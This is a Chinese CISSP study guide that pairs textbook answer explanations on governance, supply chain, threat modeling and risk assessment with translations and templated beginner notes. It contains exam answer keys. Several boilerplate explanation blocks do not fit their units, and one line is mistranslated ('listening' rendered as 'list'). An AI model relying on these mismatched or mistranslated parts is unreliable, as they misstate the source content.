真实性:真实性确认数据、身份或来源是真的,不是假冒的。

审计:审计记录主体行为,用于追责、复盘和取证。

问责性:问责性要求能把行为绑定到具体主体。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“DAD、过度保护、真实性、不可否认性与 AAA”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

证书、签名、强认证常支持真实性。

没有日志和身份绑定,就很难问责。

问责依赖识别、认证、授权、审计和记账共同工作。

ISO 偏标准和管理体系。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
真实性 真实性确认数据、身份或来源是真的,不是假冒的。
审计 审计记录主体行为,用于追责、复盘和取证。
问责性 问责性要求能把行为绑定到具体主体。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
COBIT COBIT 偏 IT 治理和控制目标。
PCI DSS PCI DSS 是支付卡行业数据安全标准。
应有谨慎 应有谨慎是采取合理行动,像一个负责组织应该做的那样去做。
学习单元 70 / PDF P1464

应有谨慎与尽职调查

一个偏采取合理行动,一个偏持续验证监督。

教材原文段落

activities that maintain the security effort. The other options are incorrect; they have the terms inverted. The corrected statements are as follows: Due diligence is developing a formalized security structure containing a security policy, standards, baselines, guidelines, and procedures. Due care is the continued application of a security structure onto the IT infrastructure of an organization. Due diligence is knowing what should be done and planning for it. Due care is doing the right action at the right time. 11. B.

A policy is a document that defines the scope of security needed by the organization and discusses the assets that require protection and the extent to which security solutions should go to provide the necessary protection. A standard defines compulsory requirements for the homogenous use of hardware, software, technology, and security controls. A procedure is a detailed, step-by-step how-to document that describes the exact actions necessary to implement a specific security mechanism, control, or solution. A guideline offers recommendations on how security requirements are implemented and serves as an operational guide for both security professionals and users.

III is the definition of a baseline, which was not included as a component option. 12. D. When confidential documents are exposed to unauthorized entities, this is described by the I in STRIDE, which represents information disclosure. The elements of STRIDE are spoofing, tampering, repudiation, information disclosure, denial of service, and elevation of privilege. 13. B. This scenario describes a proactive approach to threat modeling, which is also known as the defensive approach. A reactive approach or adversarial approach to threat modeling takes place after a product has been created and deployed. There is no threat modeling concept known as the qualitative approach.

Qualitative is typically associated with a form of risk assessment. 14. A, B, D. These statements are true: (A) Each link in the supply chain should be responsible and accountable to the next link in the chain; (B) Commodity vendors are unlikely to have mined their own metals, processed the oil for plastics, or etched the silicon of their chips; and (D) Failing to properly secure a supply chain can result in flawed or less reliable products, or even embedded listing or remote control mechanisms. The remaining option is incorrect. Even if a final product

中文直译 / 整理

维持安全努力的活动。 其他选项均不正确,因为它们颠倒了术语。 更正后 的陈述如下:尽职调查是建立包含安全策略、标准、基线、指南和程序的 正式化安全结构。 尽责是持续将安全结构应用于组织的IT基础设施。 尽职 调查是了解应做什么并为之规划。 尽责是在正确的时间采取正确的行动。 11. B. 策略是一个文档,定义了组织所需的安全范围,讨论了需要保护的资产 以及安全解决方案应如何实施以提供必要的保护。 标准规定了硬件、软件、技 术和安全控制措施统一使用的强制性要求。 程序是一份详细的、分步骤的操作 文档,描述了实施特定安全机制、控制或解决方案所需的精确操作。 指南提供 了如何实施安全要求的建议,为安全专业人员和用户提供了操作指导。 III 是 基线的定义,但未作为组件选项包含在内。 12. D. 当机密文件被未经授权的实体接触时,这由 STRIDE 中的 I 表示, 即信息泄露。 STRIDE 的要素包括伪装、篡改、否认、信息泄露、拒绝服 务和权限提升。 13. B. 该情景描述了一种主动的威胁建模方法,也称为防御性方法。 被动方法 或对抗性方法在产品创建和部署后进行。 不存在称为定性方法的威胁建模概念;

定性通常与某种风险评估形式相关联。 14. A、B、D。 以下陈述为真:(A) 供应链中的每个环节都应对下一个环节负 责并承担责任; (B) 商品供应商不太可能自行开采金属、加工塑料用油或蚀刻 芯片中的硅; 以及 (D) 未能妥善保障供应链可能导致产品存在缺陷或可靠性 降低,甚至可能嵌入恶意列表或远程控制机制。 其余选项不正确。 即使最终 产品

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:一个偏采取合理行动,一个偏持续验证监督。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

授权:授权是认证之后决定你能访问什么、能做什么。

应有谨慎:应有谨慎是采取合理行动,像一个负责组织应该做的那样去做。

尽职调查:尽职调查是持续检查、验证和监督是否做到了。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“应有谨慎与尽职调查”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

认证成功不等于什么都能做;权限仍要单独授权。

Due care 偏“做正确的事”。

Due diligence 偏“确认事情被正确执行”。

Policy 高层、强制、稳定;Procedure 具体步骤。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
授权 授权是认证之后决定你能访问什么、能做什么。
应有谨慎 应有谨慎是采取合理行动,像一个负责组织应该做的那样去做。
尽职调查 尽职调查是持续检查、验证和监督是否做到了。
政策 政策是高层原则,说明必须遵守什么。
标准 标准给出必须满足的最低要求。
指南 指南是建议做法,不一定强制。
程序 程序是一步一步怎么做。
学习单元 71 / PDF P1465

授权、审计与问责

认证后还要授权,之后靠审计和日志追责。

教材原文段落

seems reasonable and performs all necessary functions, that does not provide assurance that it is secure or that it was not tampered with somewhere in the supply chain. 15. D. Though not explicitly stating hardware, this scenario describes a typical and potential risk of a supply chain, that a hardware risk results in the presence of a listening mechanism in the final product. This scenario does not provide information that would indicate that the supply chain risk is focused on software, services, or data. 16. B. In this scenario, Cathy should void the authorization to operate (ATO) of this vendor.

This situation describes the fact that the vendor is not meeting minimal security requirements, which are necessary for the protection of the service and its customers. Writing a report is not a sufficient response to this discovery. You may have assumed Cathy does or does not have the authority to perform any of the other options, but there is no indication of Cathy's position in the organization. It is reasonable for a CEO to ask the CISO to perform such an evaluation. Regardless, the report should be submitted to the CISO, not the CIO, whose focus is primarily on ensuring that information is used effectively to accomplish business objectives, not that such use is secure.

Reviewing terms and conditions will not make any difference in this scenario, as those typically apply to customers, not internal operations. Reviewing does not necessarily cause a change or improvement to insecure practices. A vendor-signed NDA has no bearing on this scenario. 17. A. Minimum security requirements should be modeled on your existing security policy. This is based on the idea that when working with a third party, that third party should have at least the same security as your organization. A third-party audit is when a third-party auditor is brought in to perform an unbiased review of an entity's security infrastructure.

This audit may reveal where there are problems, but the audit should not be the basis of minimum security requirements for a third party. On-site assessment is when you visit the site of the organization to interview personnel and observe their operating habits. This is not the basis for establishing minimum security requirements for a third party. Vulnerability scan results, like third-party audits, may reveal concerns, but it is not the basis for establishing minimum security requirements for a third party.

中文直译 / 整理

看似合理并执行了所有必要功能,但这并不能保证其安全性,也不能 保证在供应链中未被篡改。 15. D. 尽管未明确提及硬件,但此情景描述了供应链中一种典型且潜在的风险: 硬件风险可能导致最终产品中存在监听机制。 此情景未提供任何信息表明供应 链风险聚焦于软件、服务或数据。 16. B. 在此情景中,Cathy 应撤销该供应商的运行授权(ATO)。 这种情况 表明该供应商未满足保护服务及其客户所必需的最低安全要求。 撰写报告不足 以应对这一发现。 你可能假设 Cathy 拥有或不拥有执行其他选项的权限,但 没有任何信息表明 Cathy 在组织中的职位。 由首席执行官要求首席信息安全 官(CISO)进行此类评估是合理的。 无论如何,报告应提交给 CISO,而非 CIO,因为 CIO 的主要关注点是确保信息有效用于实现业务目标,而非确保 这种使用是安全的。 审查条款和条件在此情景中不会产生任何影响,因为这些 条款通常适用于客户,而非内部运营。 审查本身并不必然导致对不安全实践的 改变或改进。 供应商签署的保密协议(NDA)与此情景无关。 17. A. 最低安全要求应基于您现有的安全策略进行建模。

这一理念源于:与第 三方合作时,该第三方应至少具备与您组织相同的安保水平。 第三方审计是指 引入第三方审计员对实体的安全基础设施进行无偏见的审查。 此类审计可能揭 示存在的问题,但不应作为确立第三方最低安全要求的依据。 现场评估是指您 前往该组织的场所,与人员面谈并观察其操作习惯。 这同样不是确立第三方最 低安全要求的依据。 漏洞扫描结果与第三方审计类似,可能揭示潜在问题, 但它也不是确立第三方最低安全要求的依据。

小白解释

场景先行:公司准备上线一个新业务系统,技术团队说可以买设备,法务说要合规,业务说不能影响上线。安全治理就是让高层定方向:安全要服务业务目标,风险由谁接受,预算花在哪里。

这一页真正想让你理解的是:认证后还要授权,之后靠审计和日志追责。

把它放进公司里看,关键不是背定义,而是判断:如果没有治理,安全会变成各部门各做各的:有人只想省钱,有人只想堆工具,最后责任不清。

你作为负责人可以这样想:先定策略和责任,再把战略拆成战术计划和日常运营计划。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

运行授权 ATO:ATO 表示系统被授权在特定条件下运行。文档不足可能导致 ATO 丢失。

首席信息安全官:CISO 负责组织安全计划、策略、沟通和监督。

常见误区:不要把治理理解成配置设备;治理是方向、责任和监督。

读完后用一句话复述:如果我是高层管理者 / CISO,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“授权、审计与问责”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是高层管理者 / CISO在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

政府/军方场景看到 ATO,要关注文档、合规和现场审查。

CISO 需要足够独立性和高层支持。

ISO 偏标准和管理体系。

排除法提醒:不要把治理理解成配置设备;治理是方向、责任和监督。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
运行授权 ATO ATO 表示系统被授权在特定条件下运行。文档不足可能导致 ATO 丢失。
首席信息安全官 CISO 负责组织安全计划、策略、沟通和监督。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
政策 政策是高层原则,说明必须遵守什么。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
漏洞扫描 漏洞扫描用工具找已知弱点。
学习单元 72 / PDF P1466

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

18. C. Process for Attack Simulation and Threat Analysis (PASTA) is a sevenstage threat modeling methodology. PASTA is a risk-centric approach that aims at selecting or developing countermeasures in relation to the value of the assets to be protected. Visual, Agile, and Simple Threat (VAST) is a threat modeling concept that integrates threat and risk management into an Agile programming environment on a scalable basis. DREAD (Damage, Reproducibility, Exploitability, Affected Users, and Discoverability) is a flexible threat rating system that is based on the answers to five main questions about a threat. STRIDE is a threat categorization scheme developed by Microsoft. 19. B, C, E, F, G.

The five key concepts of decomposition are trust boundaries, dataflow paths, input points, privileged operations, and details about security stance and approach. Patch or update version management is an important part of security management in general; it is just not a specific component of decomposition. Determining openversus closed-source code use is not an element of decomposition. 20. A, B, C, D, E, F, G, H, I. All of the listed options are terms that relate to or are based on defense in depth: layering, classifications, zones, realms, compartments, silos, segmentations, lattice structure, and protection rings. 18. C.

中文直译 / 整理

攻击模拟与威胁分析流程(PASTA)是一种七阶段威胁建模方法。 PASTA 是一种以风险为中心的方法,旨在根据待保护资产的价值选择或开发 对策。 视觉化、敏捷且简单的威胁(VAST)是一种威胁建模概念,可将威胁 与风险管理以可扩展的方式集成到敏捷编程环境中。 DREAD(损害、可重现 性、可利用性、受影响用户数和可发现性)是一种基于对威胁五个主要问题的 回答的灵活威胁评级系统。 STRIDE 是微软开发的一种威胁分类方案。 19. B、C、E、F、G。 分解的五个关键概念是信任边界、数据流路径、输入 点、特权操作以及安全立场与方法的详细信息。 补丁或版本更新管理是整体 安全管理的重要组成部分,但它并非分解的特定组成部分。 确定使用开源还 是闭源代码不是分解的要素。 20. A、B、C、D、E、F、G、H、I。 所有列出的选项都是与纵深防御相关的 术语:分层、分类、区域、领域、隔间、孤岛、分段、晶格结构和保护环。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

纵深防御:纵深防御不是一道门,而是一层又一层控制。

分层:分层把控制按层排列,让攻击者必须连续突破。

威胁建模:威胁建模是在设计和生命周期中提前识别威胁。

STRIDE:STRIDE 用六类威胁检查系统:伪装、篡改、抵赖、信息泄露、拒绝服务、提权。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

多层控制串联、避免单点失败,就是 defense in depth。

serial controls 更深,parallel controls 更宽;题目会考深度和广度。

越早做威胁建模,修复成本越低。

STRIDE 是威胁分类模型。

DREAD 是风险评分方法,不是威胁类别。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
纵深防御 纵深防御不是一道门,而是一层又一层控制。
分层 分层把控制按层排列,让攻击者必须连续突破。
威胁建模 威胁建模是在设计和生命周期中提前识别威胁。
STRIDE STRIDE 用六类威胁检查系统:伪装、篡改、抵赖、信息泄露、拒绝服务、提权。
DREAD DREAD 用五个维度给威胁打分。
PASTA PASTA 是七阶段、风险中心的威胁建模方法。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
学习单元 73 / PDF P1467

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

Chapter 2: Personnel Security and Risk Management Concepts 1. D. Regardless of the specifics of a security solution, humans are often considered the weakest element. No matter what physical or logical controls are deployed, humans can discover ways to avoid them, circumvent or subvert them, or disable them. Thus, it is important to take into account the humanity of your users when designing and deploying security solutions for your environment. Software products, internet connections, and security policies can all be vulnerabilities or otherwise areas of security concern, but they are not considered the most common weakest element of an organization. 2. A.

The first step in hiring new employees is to create a job description. Without a job description, there is no consensus on what type of individual needs to be found and hired. Crafting job descriptions is the first step in defining security needs related to personnel and being able to seek out new hires. From the job description, a determination can be made as to the education, skills, experience, and classification required by the applicant. Then a job posting can be made to request the submission of résumés. Then, candidates can be screened to see if they meet the requirements and if they have any disqualifications. 3. B.

Onboarding is the process of adding new employees to the organization, having them review and sign policies, be introduced to managers and coworkers, and be trained in employee operations and logistics. Reissue is a certification function when a lost certificate is provided to the user by extracting it from the escrow backup database or when a certificate is altered to extend its expiration date. Background checks are used to verify that a job applicant is qualified but not disqualified for a specific work position. A site survey is used to optimize the placement of wireless access points (WAPs) to provide reliable connectivity throughout the organization's facilities. 4. B.

A termination process often focuses on eliminating an employee who has become problematic, whether that employee is committing crimes or just violating company policy. Once the worker is fired, the company has little direct control over that person. So, the only remaining leverage is legal, which often relates to a nondisclosure agreement (NDA). Hopefully, reviewing and reminding the former employee about their

中文直译 / 整理

第2章:人员安全与风险管理概念 1. D. 无论安全解决方案的具体细节如何,人类通常被视为最薄弱的环节。 无 论部署了何种物理或逻辑控制措施,人类总能找到规避、绕过、破坏或禁用 这些措施的方法。 因此,在为您的环境设计和部署安全解决方案时,必须考 虑用户的人性。 软件产品、互联网连接和安全策略都可能是漏洞或其他安全 问题领域,但它们不被视为组织中最常见的薄弱环节。 2. A. 雇佣新员工的第一步是制定职位描述。 如果没有职位描述,就无法就需 要寻找和雇佣什么样的人员达成共识。 制定职位描述是明确与人员相关的安 全需求并能够寻找新员工的第一步。 根据职位描述,可以确定申请人所需的 教育背景、技能、经验和类别。 然后发布职位公告,请求提交简历。 接着, 对候选人进行筛选,以确认他们是否符合要求以及是否存在任何不合格因素。 3. B. 入职是将新员工添加到组织中的过程,包括让他们审阅并签署政策、认 识经理和同事,并接受员工操作和后勤方面的培训。 重新签发是一种认证功 能,当从托管备份数据库中提取证书提供给用户,或当证书被修改以延长其 有效期时使用。 背景调查用于核实求职者是否具备特定职位的任职资格,但 未被取消资格。

现场勘查用于优化无线接入点(WAP)的布局,以确保组织 设施内提供可靠的连接性。 4. B. 解雇流程通常侧重于清除那些已变得有问题的员工,无论他们是犯了罪 还是仅仅违反了公司政策。 一旦员工被解雇,公司对该人员的直接控制权就 很小了。 因此,唯一剩下的杠杆是法律手段,通常涉及保密协议(NDA)。 希望在员工离职后,通过回顾和提醒他们

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

政策:政策是高层原则,说明必须遵守什么。

数字证书:数字证书把身份和公钥绑定起来,由可信 CA 签发。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

Policy 高层、强制、稳定;Procedure 具体步骤。

证书不是密钥本身,而是身份与公钥的可信绑定。

网络题先定位层次,再判断协议、设备或攻击位置。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
政策 政策是高层原则,说明必须遵守什么。
数字证书 数字证书把身份和公钥绑定起来,由可信 CA 签发。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 74 / PDF P1468

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

signed NDA will reduce future security issues, such as confidential data dissemination. Returning the exiting employee's personal belongings is not really an important task to protect the company's security interests. Evaluating the exiting employee's performance could be done via an exit interview, but that was not mentioned in this scenario. Often when an adversarial termination occurs, an exit interview is not feasible. Canceling an exiting employee's parking permit is not a high security priority for most organizations, at least not in comparison to the NDA. 5. C. Option C is correct: Multiparty risk exists when several entities or organizations are involved in a project.

The risk or threats are often due to the variations of objectives, expectations, timelines, budgets, and security priorities of those involved. The other statements are false. Their corrected and thus true versions would be: (A) using servicelevel agreements (SLAs) is a means to ensure that organizations providing services maintain an appropriate level of service agreed on by the service provider, vendor, or contractor and the customer organization; (B) outsourcing can be used as a risk response option known as transference or assignment; and (D) risk management strategies implemented by one party may in fact cause additional risks to or from another party. 6. A.

An asset is anything used in a business process or task. A threat is any potential occurrence that may cause an undesirable or unwanted outcome for an organization or for a specific asset. A vulnerability is the weakness in an asset, or the absence or the weakness of a safeguard or countermeasure. An exposure is being susceptible to asset loss because of a threat; there is the possibility that a vulnerability can or will be exploited. Risk is the possibility or likelihood that a threat will exploit a vulnerability to cause harm to an asset and the severity of damage that could result. 7. B.

The threat of a fire and the vulnerability of a lack of fire extinguishers lead to the risk of damage to equipment. This scenario does not relate to virus infection or unauthorized access. Equipment damaged by fire could be considered a system malfunction, but that option is not as direct as “damage to equipment.” 8. D. This scenario is describing the activity of performing a quantitative risk assessment. The question describes the determination of asset value (AV) as well as the exposure factor (EF) and the annualized rate of occurrence (ARO) for each identified threat. These are the needed values

中文直译 / 整理

签署NDA将减少未来安全问题,例如机密数据泄露。 归还离职员工的个 人物品并不是保护公司安全利益的重要任务。 评估离职员工的表现可以通 过离职面谈完成,但本情景中并未提及这一点。 通常在发生对抗性终止时, 离职面谈是不可行的。 取消离职员工的停车许可证对大多数组织来说并不是高优先级的安全事项, 至少与保密协议相比是如此。 5. C. 选项C正确:当多个实体或组织参与一个项目时,存在多方风险。 这些 风险或威胁通常源于相关各方目标、期望、时间表、预算和安全优先级的差 异。 其他陈述均为错误。 其修正后的正确版本应为:(A)使用服务水平协议 (SLAs)是确保提供服务的组织维持服务提供商、供应商或承包商与客户组 织商定的适当服务水平的一种手段; (B)外包可作为一种风险应对策略,称 为转移或分配; (D)一方实施的风险管理策略实际上可能对另一方造成额外 的风险。 6. A. 资产是用于业务流程或任务的任何事物。 威胁是可能导致组织或特定 资产产生不良或不希望后果的任何潜在事件。 脆弱性是资产中的弱点,或防 护措施或应对措施的缺失或不足。 暴露是指因威胁而可能导致资产损失的易 感状态; 存在脆弱性可能或将会被利用的可能性。

风险是指威胁利用脆弱性 对资产造成损害的可能性或概率,以及可能造成的损害严重程度。 7. B. 火灾的威胁与缺乏灭火器的脆弱性导致设备受损的风险。 此情景与病毒 感染或未经授权的访问无关。 被火灾损坏的设备可视为系统故障,但该选项 不如“设备损坏”直接。 8. D. 此情景描述的是执行定量风险评估的活动。 问题中描述了确定资产价值 (AV)、每个已识别威胁的暴露因子(EF)和年发生率(ARO)。 这些是 所需值。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

授权:授权是认证之后决定你能访问什么、能做什么。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

认证成功不等于什么都能做;权限仍要单独授权。

ISO 偏标准和管理体系。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
授权 授权是认证之后决定你能访问什么、能做什么。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
学习单元 75 / PDF P1469

第 1469 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

to calculate the annualized loss expectancy (ALE), which is a quantitative factor. This is not an example of a qualitative risk assessment, since specific numbers are being determined rather than relying on ideas, reactions, feelings, and perspectives. This is not the Delphi technique, which is a qualitative risk assessment method that seeks to reach an anonymous consensus. This is not risk avoidance, since that is an optional risk response or treatment, and this scenario is only describing the process of risk assessment. 9. C. The annual costs of safeguards should not exceed the expected annual cost of asset value loss. The other statements are not rules to follow.

(A) The annual cost of the safeguard should not exceed the annual cost of the asset value or its potential value loss. (B) The cost of the safeguard should be less than the value of the asset. (D) There is no specific maximum percentage of a security budget for the cost of a safeguard. However, the security budget should be used efficiently to reduce overall risk to an acceptable level. 10. C. When controls are not cost effective, they are not worth implementing. Thus, risk acceptance is the risk response in this situation. Mitigation is the application of a control; that was not done in this scenario.

Ignoring risk occurs when no action, not even assessment or control evaluation, is performed in relation to a risk. Since controls were evaluated in this scenario, this is not ignoring risk. Assignment is the transfer of risk to a third party; that was not done in this scenario. 11. A. The value of a safeguard to an organization is calculated by ALE before safeguard – ALE after implementing the safeguard – annual cost of safeguard [(ALE1 – ALE2) – ACS]. This is known as the cost/benefit equation for safeguards. The other options are incorrect. (B) This is an invalid calculation. (C) This is an invalid calculation.

(D) This is the concept formula for residual risk: total risk – controls gap = residual risk. 12. A, C. Statements of A and C are valid definitions of risk. The other two statements are not definitions of risk. (B) Anything that removes a vulnerability or protects against one or more specific threats is considered a safeguard or a countermeasure, not a risk. (D) The presence of a vulnerability when a related threat exists is an exposure, not a risk. A risk is a calculation of the probability of occurrence and the level of damage that could be caused if an exposure is realized (i.e., actually occurs).

中文直译 / 整理

为了计算年化损失预期(ALE),这是一个定量因素。 这不属于定性风险 评估的示例,因为这里确定的是具体数值,而非依赖于想法、反应、感受 和观点。 这也不是德尔菲法,因为德尔菲法是一种寻求匿名共识的定性风 险评估方法。 这也不是风险规避,因为风险规避是一种可选的风险应对或 处理措施,而本场景仅描述了风险评估的过程。 9. C. 安全措施的年度成本不应超过资产价值损失的预期年度成本。 其他陈述 均非需遵循的规则。 (A)安全措施的成本不应超过资产价值或其潜在价值 损失的年度成本。 (B)安全措施的成本应低于资产的价值。 (D)对于安全 措施的成本,安全预算中没有特定的最大百分比限制。 然而,安全预算应被 高效使用,以将整体风险降低至可接受水平。 10. C. 当控制措施不具备成本效益时,就不值得实施。 因此,在这种情况下, 风险接受是应对风险的措施。 风险缓解是应用控制措施; 但在此场景中并未 这样做。 忽略风险是指对风险不采取任何行动,甚至不进行评估或控制评价; 而本场景中已对控制措施进行了评估,因此不属于忽略风险。 转移风险是将 风险转移给第三方; 但本场景中并未这样做。

11. A. 安全措施对组织的价值通过以下公式计算:实施安全措施前的ALE – 实 施安全措施后的ALE – 安全措施的年度成本 [(ALE1 – ALE2) – ACS]。 这被称 为安全措施的成本/收益公式。 其他选项均不正确。 (B)这是一个无效的计 算。 (C)这是一个无效的计算。 (D)这是残余风险的概念公式:总风险 – 控制差距 = 残余风险。 12. A、C。 A和C的陈述是对风险的有效定义。 另外两个陈述不是对风险的定 义。 (B)任何消除脆弱性或保护免受一个或多个特定威胁影响的事物都被视 为安全措施或对策,而不是风险。 (D)当存在相关威胁时,脆弱性的存在称 为暴露,而非风险。 风险是对暴露发生概率及其可能造成损害程度的计算(即 实际发生时)。

小白解释

场景先行:你是公司的安全负责人,正在读第 1469 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

成本效益:安全控制不能无限堆钱,要用合理成本降低最重要的风险。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1469 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

CISSP 喜欢考成本收益:控制成本不应明显超过被降低的风险价值。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
